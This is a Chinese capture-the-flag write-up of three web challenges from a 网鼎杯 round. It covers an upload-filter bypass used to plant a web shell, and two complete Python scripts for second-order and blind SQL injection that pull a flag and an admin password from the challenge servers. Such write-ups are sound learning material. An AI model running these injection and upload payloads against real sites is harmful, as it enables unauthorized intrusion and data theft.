网鼎杯 第二场 web writeup

向信安之路的老哥要了一个账号，赛后开始做题

web

calc

wafUpload

进图给源码真棒

<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

先上传再说

黑人问号我给你jpg居然不允许=。=我看看源码

reset函数

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

写进去了，掏出蚁剑
一直连不上才发现其实并没有写进去

找到flag

unfinished

这个loli挺可爱

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'

def register(email,username):
    url1 = url+'register.php' 
    data = dict(email = email, username = username,password = 'adsl1234')
    html = re.post(url1,data=data)
    html.encoding = 'utf-8'
    return html

def login(email):
    url2 = url+'login.php'
    data = dict(email = email,password = 'adsl1234')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'
    return html


f = ''
for j in range(0,17):
    payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
    email = '{}@qq.com'.format(str(j)+'14')
    html = register(email,payload)
    # print html.text
    html = login(email)
    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        flag = res[0][1:].strip()
        print flag
        f += flag
        print f
        print f.decode('hex').decode('hex')
    except:
        print "problem"

sqlweb

既然说admin也拿不到flag=。=那肯定是注入咯
噗感觉很简单是一个盲注题
密码错误也会显示出来

现在要看看过滤了啥

import requests
import string

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'

flag = ''
for i in range(1,100):
    for j in ch:
        payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
        data = dict(uname=payload,passwd='adsl1234',submit='login')
        # print data
        html = re.post(url, data=data)
        # print html.text
        if 'passwd' in html.text:
            flag += j
            print flag
            break

出来admin的密码是admin123
然后登录显示要吴彦祖的账号密码
把上面的admin换成wuyanzu就可以了